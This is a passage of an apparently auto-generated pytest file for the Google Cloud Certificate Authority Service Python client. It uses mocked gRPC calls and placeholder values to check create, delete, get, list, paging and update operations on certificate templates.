test_update_certificate_revocation_list_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.update_certificate_revocation_list( service.UpdateCertificateRevocationListRequest(), certificate_revocation_list=resources.CertificateRevocationList( name="name_value" ), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) @pytest.mark.asyncio async def test_update_certificate_revocation_list_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_revocation_list), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.update_certificate_revocation_list( certificate_revocation_list=resources.CertificateRevocationList( name="name_value" ), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].certificate_revocation_list mock_val = resources.CertificateRevocationList(name="name_value") assert arg == mock_val arg = args[0].update_mask mock_val = field_mask_pb2.FieldMask(paths=["paths_value"]) assert arg == mock_val @pytest.mark.asyncio async def test_update_certificate_revocation_list_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.update_certificate_revocation_list( service.UpdateCertificateRevocationListRequest(), certificate_revocation_list=resources.CertificateRevocationList( name="name_value" ), update_mask=field_mask_pb2.FieldMask(paths=["paths_value"]), ) @pytest.mark.parametrize( "request_type", [service.CreateCertificateTemplateRequest, dict,] ) def test_create_certificate_template(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate_template), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/spam") response = client.create_certificate_template(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.CreateCertificateTemplateRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) def test_create_certificate_template_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate_template), "__call__" ) as call: client.create_certificate_template() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.CreateCertificateTemplateRequest() @pytest.mark.asyncio async def test_create_certificate_template_async( transport: str = "grpc_asyncio", request_type=service.CreateCertificateTemplateRequest, ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate_template), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) response = await client.create_certificate_template(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.CreateCertificateTemplateRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) @pytest.mark.asyncio async def test_create_certificate_template_async_from_dict(): await test_create_certificate_template_async(request_type=dict) def test_create_certificate_template_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.CreateCertificateTemplateRequest() request.parent = "parent/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate_template), "__call__" ) as call: call.return_value = operations_pb2.Operation(name="operations/op") client.create_certificate_template(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"] @pytest.mark.asyncio async def test_create_certificate_template_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.CreateCertificateTemplateRequest() request.parent = "parent/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate_template), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/op") ) await client.create_certificate_template(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"] def test_create_certificate_template_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate_template), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.create_certificate_template( parent="parent_value", certificate_template=resources.CertificateTemplate(name="name_value"), certificate_template_id="certificate_template_id_value", ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].parent mock_val = "parent_value" assert arg == mock_val arg = args[0].certificate_template mock_val = resources.CertificateTemplate(name="name_value") assert arg == mock_val arg = args[0].certificate_template_id mock_val = "certificate_template_id_value" assert arg == mock_val def test_create_certificate_template_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.create_certificate_template( service.CreateCertificateTemplateRequest(), parent="parent_value", certificate_template=resources.CertificateTemplate(name="name_value"), certificate_template_id="certificate_template_id_value", ) @pytest.mark.asyncio async def test_create_certificate_template_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.create_certificate_template), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.create_certificate_template( parent="parent_value", certificate_template=resources.CertificateTemplate(name="name_value"), certificate_template_id="certificate_template_id_value", ) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].parent mock_val = "parent_value" assert arg == mock_val arg = args[0].certificate_template mock_val = resources.CertificateTemplate(name="name_value") assert arg == mock_val arg = args[0].certificate_template_id mock_val = "certificate_template_id_value" assert arg == mock_val @pytest.mark.asyncio async def test_create_certificate_template_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.create_certificate_template( service.CreateCertificateTemplateRequest(), parent="parent_value", certificate_template=resources.CertificateTemplate(name="name_value"), certificate_template_id="certificate_template_id_value", ) @pytest.mark.parametrize( "request_type", [service.DeleteCertificateTemplateRequest, dict,] ) def test_delete_certificate_template(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.delete_certificate_template), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/spam") response = client.delete_certificate_template(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.DeleteCertificateTemplateRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) def test_delete_certificate_template_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.delete_certificate_template), "__call__" ) as call: client.delete_certificate_template() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.DeleteCertificateTemplateRequest() @pytest.mark.asyncio async def test_delete_certificate_template_async( transport: str = "grpc_asyncio", request_type=service.DeleteCertificateTemplateRequest, ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.delete_certificate_template), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) response = await client.delete_certificate_template(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.DeleteCertificateTemplateRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) @pytest.mark.asyncio async def test_delete_certificate_template_async_from_dict(): await test_delete_certificate_template_async(request_type=dict) def test_delete_certificate_template_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.DeleteCertificateTemplateRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.delete_certificate_template), "__call__" ) as call: call.return_value = operations_pb2.Operation(name="operations/op") client.delete_certificate_template(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] @pytest.mark.asyncio async def test_delete_certificate_template_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.DeleteCertificateTemplateRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.delete_certificate_template), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/op") ) await client.delete_certificate_template(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] def test_delete_certificate_template_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.delete_certificate_template), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.delete_certificate_template(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val def test_delete_certificate_template_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.delete_certificate_template( service.DeleteCertificateTemplateRequest(), name="name_value", ) @pytest.mark.asyncio async def test_delete_certificate_template_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.delete_certificate_template), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/op") call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( operations_pb2.Operation(name="operations/spam") ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.delete_certificate_template(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val @pytest.mark.asyncio async def test_delete_certificate_template_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.delete_certificate_template( service.DeleteCertificateTemplateRequest(), name="name_value", ) @pytest.mark.parametrize("request_type", [service.GetCertificateTemplateRequest, dict,]) def test_get_certificate_template(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_template), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = resources.CertificateTemplate( name="name_value", description="description_value", ) response = client.get_certificate_template(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.GetCertificateTemplateRequest() # Establish that the response is the type that we expect. assert isinstance(response, resources.CertificateTemplate) assert response.name == "name_value" assert response.description == "description_value" def test_get_certificate_template_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_template), "__call__" ) as call: client.get_certificate_template() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.GetCertificateTemplateRequest() @pytest.mark.asyncio async def test_get_certificate_template_async( transport: str = "grpc_asyncio", request_type=service.GetCertificateTemplateRequest ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_template), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.CertificateTemplate( name="name_value", description="description_value", ) ) response = await client.get_certificate_template(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.GetCertificateTemplateRequest() # Establish that the response is the type that we expect. assert isinstance(response, resources.CertificateTemplate) assert response.name == "name_value" assert response.description == "description_value" @pytest.mark.asyncio async def test_get_certificate_template_async_from_dict(): await test_get_certificate_template_async(request_type=dict) def test_get_certificate_template_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.GetCertificateTemplateRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_template), "__call__" ) as call: call.return_value = resources.CertificateTemplate() client.get_certificate_template(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] @pytest.mark.asyncio async def test_get_certificate_template_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.GetCertificateTemplateRequest() request.name = "name/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_template), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.CertificateTemplate() ) await client.get_certificate_template(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "name=name/value",) in kw["metadata"] def test_get_certificate_template_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_template), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = resources.CertificateTemplate() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.get_certificate_template(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val def test_get_certificate_template_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.get_certificate_template( service.GetCertificateTemplateRequest(), name="name_value", ) @pytest.mark.asyncio async def test_get_certificate_template_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.get_certificate_template), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = resources.CertificateTemplate() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( resources.CertificateTemplate() ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.get_certificate_template(name="name_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].name mock_val = "name_value" assert arg == mock_val @pytest.mark.asyncio async def test_get_certificate_template_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.get_certificate_template( service.GetCertificateTemplateRequest(), name="name_value", ) @pytest.mark.parametrize( "request_type", [service.ListCertificateTemplatesRequest, dict,] ) def test_list_certificate_templates(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_templates), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = service.ListCertificateTemplatesResponse( next_page_token="next_page_token_value", unreachable=["unreachable_value"], ) response = client.list_certificate_templates(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.ListCertificateTemplatesRequest() # Establish that the response is the type that we expect. assert isinstance(response, pagers.ListCertificateTemplatesPager) assert response.next_page_token == "next_page_token_value" assert response.unreachable == ["unreachable_value"] def test_list_certificate_templates_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_templates), "__call__" ) as call: client.list_certificate_templates() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.ListCertificateTemplatesRequest() @pytest.mark.asyncio async def test_list_certificate_templates_async( transport: str = "grpc_asyncio", request_type=service.ListCertificateTemplatesRequest, ): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_templates), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.ListCertificateTemplatesResponse( next_page_token="next_page_token_value", unreachable=["unreachable_value"], ) ) response = await client.list_certificate_templates(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == service.ListCertificateTemplatesRequest() # Establish that the response is the type that we expect. assert isinstance(response, pagers.ListCertificateTemplatesAsyncPager) assert response.next_page_token == "next_page_token_value" assert response.unreachable == ["unreachable_value"] @pytest.mark.asyncio async def test_list_certificate_templates_async_from_dict(): await test_list_certificate_templates_async(request_type=dict) def test_list_certificate_templates_field_headers(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.ListCertificateTemplatesRequest() request.parent = "parent/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_templates), "__call__" ) as call: call.return_value = service.ListCertificateTemplatesResponse() client.list_certificate_templates(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"] @pytest.mark.asyncio async def test_list_certificate_templates_field_headers_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Any value that is part of the HTTP/1.1 URI should be sent as # a field header. Set these to a non-empty value. request = service.ListCertificateTemplatesRequest() request.parent = "parent/value" # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_templates), "__call__" ) as call: call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.ListCertificateTemplatesResponse() ) await client.list_certificate_templates(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] assert args[0] == request # Establish that the field header was sent. _, _, kw = call.mock_calls[0] assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"] def test_list_certificate_templates_flattened(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_templates), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = service.ListCertificateTemplatesResponse() # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. client.list_certificate_templates(parent="parent_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] arg = args[0].parent mock_val = "parent_value" assert arg == mock_val def test_list_certificate_templates_flattened_error(): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): client.list_certificate_templates( service.ListCertificateTemplatesRequest(), parent="parent_value", ) @pytest.mark.asyncio async def test_list_certificate_templates_flattened_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_templates), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = service.ListCertificateTemplatesResponse() call.return_value = grpc_helpers_async.FakeUnaryUnaryCall( service.ListCertificateTemplatesResponse() ) # Call the method with a truthy value for each flattened field, # using the keyword arguments to the method. response = await client.list_certificate_templates(parent="parent_value",) # Establish that the underlying call was made with the expected # request object values. assert len(call.mock_calls) _, args, _ = call.mock_calls[0] arg = args[0].parent mock_val = "parent_value" assert arg == mock_val @pytest.mark.asyncio async def test_list_certificate_templates_flattened_error_async(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials(), ) # Attempting to call a method with both a request object and flattened # fields is an error. with pytest.raises(ValueError): await client.list_certificate_templates( service.ListCertificateTemplatesRequest(), parent="parent_value", ) def test_list_certificate_templates_pager(transport_name: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials, transport=transport_name, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_templates), "__call__" ) as call: # Set the response to a series of pages. call.side_effect = ( service.ListCertificateTemplatesResponse( certificate_templates=[ resources.CertificateTemplate(), resources.CertificateTemplate(), resources.CertificateTemplate(), ], next_page_token="abc", ), service.ListCertificateTemplatesResponse( certificate_templates=[], next_page_token="def", ), service.ListCertificateTemplatesResponse( certificate_templates=[resources.CertificateTemplate(),], next_page_token="ghi", ), service.ListCertificateTemplatesResponse( certificate_templates=[ resources.CertificateTemplate(), resources.CertificateTemplate(), ], ), RuntimeError, ) metadata = () metadata = tuple(metadata) + ( gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)), ) pager = client.list_certificate_templates(request={}) assert pager._metadata == metadata results = [i for i in pager] assert len(results) == 6 assert all(isinstance(i, resources.CertificateTemplate) for i in results) def test_list_certificate_templates_pages(transport_name: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials, transport=transport_name, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_templates), "__call__" ) as call: # Set the response to a series of pages. call.side_effect = ( service.ListCertificateTemplatesResponse( certificate_templates=[ resources.CertificateTemplate(), resources.CertificateTemplate(), resources.CertificateTemplate(), ], next_page_token="abc", ), service.ListCertificateTemplatesResponse( certificate_templates=[], next_page_token="def", ), service.ListCertificateTemplatesResponse( certificate_templates=[resources.CertificateTemplate(),], next_page_token="ghi", ), service.ListCertificateTemplatesResponse( certificate_templates=[ resources.CertificateTemplate(), resources.CertificateTemplate(), ], ), RuntimeError, ) pages = list(client.list_certificate_templates(request={}).pages) for page_, token in zip(pages, ["abc", "def", "ghi", ""]): assert page_.raw_page.next_page_token == token @pytest.mark.asyncio async def test_list_certificate_templates_async_pager(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_templates), "__call__", new_callable=mock.AsyncMock, ) as call: # Set the response to a series of pages. call.side_effect = ( service.ListCertificateTemplatesResponse( certificate_templates=[ resources.CertificateTemplate(), resources.CertificateTemplate(), resources.CertificateTemplate(), ], next_page_token="abc", ), service.ListCertificateTemplatesResponse( certificate_templates=[], next_page_token="def", ), service.ListCertificateTemplatesResponse( certificate_templates=[resources.CertificateTemplate(),], next_page_token="ghi", ), service.ListCertificateTemplatesResponse( certificate_templates=[ resources.CertificateTemplate(), resources.CertificateTemplate(), ], ), RuntimeError, ) async_pager = await client.list_certificate_templates(request={},) assert async_pager.next_page_token == "abc" responses = [] async for response in async_pager: responses.append(response) assert len(responses) == 6 assert all(isinstance(i, resources.CertificateTemplate) for i in responses) @pytest.mark.asyncio async def test_list_certificate_templates_async_pages(): client = CertificateAuthorityServiceAsyncClient( credentials=ga_credentials.AnonymousCredentials, ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.list_certificate_templates), "__call__", new_callable=mock.AsyncMock, ) as call: # Set the response to a series of pages. call.side_effect = ( service.ListCertificateTemplatesResponse( certificate_templates=[ resources.CertificateTemplate(), resources.CertificateTemplate(), resources.CertificateTemplate(), ], next_page_token="abc", ), service.ListCertificateTemplatesResponse( certificate_templates=[], next_page_token="def", ), service.ListCertificateTemplatesResponse( certificate_templates=[resources.CertificateTemplate(),], next_page_token="ghi", ), service.ListCertificateTemplatesResponse( certificate_templates=[ resources.CertificateTemplate(), resources.CertificateTemplate(), ], ), RuntimeError, ) pages = [] async for page_ in (await client.list_certificate_templates(request={})).pages: pages.append(page_) for page_, token in zip(pages, ["abc", "def", "ghi", ""]): assert page_.raw_page.next_page_token == token @pytest.mark.parametrize( "request_type", [service.UpdateCertificateTemplateRequest, dict,] ) def test_update_certificate_template(request_type, transport: str = "grpc"): client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport=transport, ) # Everything is optional in proto3 as far as the runtime is concerned, # and we are mocking out the actual API, so just send an empty request. request = request_type() # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_template), "__call__" ) as call: # Designate an appropriate return value for the call. call.return_value = operations_pb2.Operation(name="operations/spam") response = client.update_certificate_template(request) # Establish that the underlying gRPC stub method was called. assert len(call.mock_calls) == 1 _, args, _ = call.mock_calls[0] assert args[0] == service.UpdateCertificateTemplateRequest() # Establish that the response is the type that we expect. assert isinstance(response, future.Future) def test_update_certificate_template_empty_call(): # This test is a coverage failsafe to make sure that totally empty calls, # i.e. request == None and no flattened fields passed, work. client = CertificateAuthorityServiceClient( credentials=ga_credentials.AnonymousCredentials(), transport="grpc", ) # Mock the actual call within the gRPC stub, and fake the request. with mock.patch.object( type(client.transport.update_certificate_template), "__call__" ) as call: client.update_certificate_template() call.assert_called() _, args, _ = call.mock_calls[0] assert args[0] == service.UpdateCertificateTemplateRequest() @pytest.mark.asyncio async def test_update_certificate_template_async( transport: str = "grpc_asyncio", request_type=service.UpdateCertificateTemplateRequest, ): client = CertificateAuthorityServiceAsyncClient( 